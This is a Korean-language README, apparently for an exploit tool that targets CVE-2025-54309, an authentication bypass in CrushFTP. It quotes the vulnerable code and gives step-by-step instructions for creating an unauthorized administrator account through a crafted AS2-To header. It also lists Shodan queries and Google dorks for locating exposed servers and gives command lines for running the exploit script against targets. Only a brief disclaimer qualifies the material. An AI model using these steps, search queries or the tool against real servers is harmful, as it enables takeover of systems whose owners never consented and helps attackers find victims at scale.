CVE-2025-54309 CrushFTP 인증 우회

개요

CVE-2025-54309는 CrushFTP의 인증 우회 취약점으로, AS2 헤더 조작을 통해 승인되지 않은 관리자 사용자를 생성할 수 있습니다.

기술 세부 사항

취약점 위치

• 파일: crushftp/server/ServerSessionHTTP.java
• 메소드: loginCheckHeaderAuth() (2285행)
• 근본 원인: 부적절한 AS2 헤더 검증 로직

취약한 코드

} else if (this.headerLookup.containsKey("as2-to".toUpperCase())) {
    if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0 && !ServerStatus.BG("blank_passwords")) {
        return;  // Authentication bypass occurs here
    }

악용 방법

1. 비어있는 AS2-To 헤더와 함께 /WebInterface/function/에 POST 요청을 보냅니다.
2. 요청 본문에 setUserItem 명령을 포함합니다.
3. 서버가 AS2-To 헤더에 -_- 구분자가 없어 인증을 우회합니다.
4. 관리자 사용자가 적절한 인증 없이 생성됩니다.

영향받는 버전

• CrushFTP 10.x < 10.8.5
• CrushFTP 11.x < 11.3.4_23

Shodan 검색어

• http.server_hash:525710691,-1319113083,2114359341,1401270286,-608770667
• http.favicon.hash:-1022206565
• "/WebInterface/w3c/p3p.xml"

Google Dorks

• intitle:"CrushFTP WebInterface"
• inurl:"/WebInterface/login.html"

사용법

python3 cve_2025_54309.py <target_url> [-u username] [-p password] [-v]

예시

# Basic exploitation
python3 cve_2025_54309.py http://crushftp.example.com:8080

# Custom credentials
python3 cve_2025_54309.py https://crushftp.example.com -u kali -p kali1

# With login verification
python3 cve_2025_54309.py http://crushftp.example.com -v

요구 사항

• Python 3.x
• requests 라이브러리

면책 조항

이 도구는 승인된 보안 테스트 용도로만 사용됩니다. 사용자는 적용 가능한 법률 및 규정을 준수할 책임이 있습니다.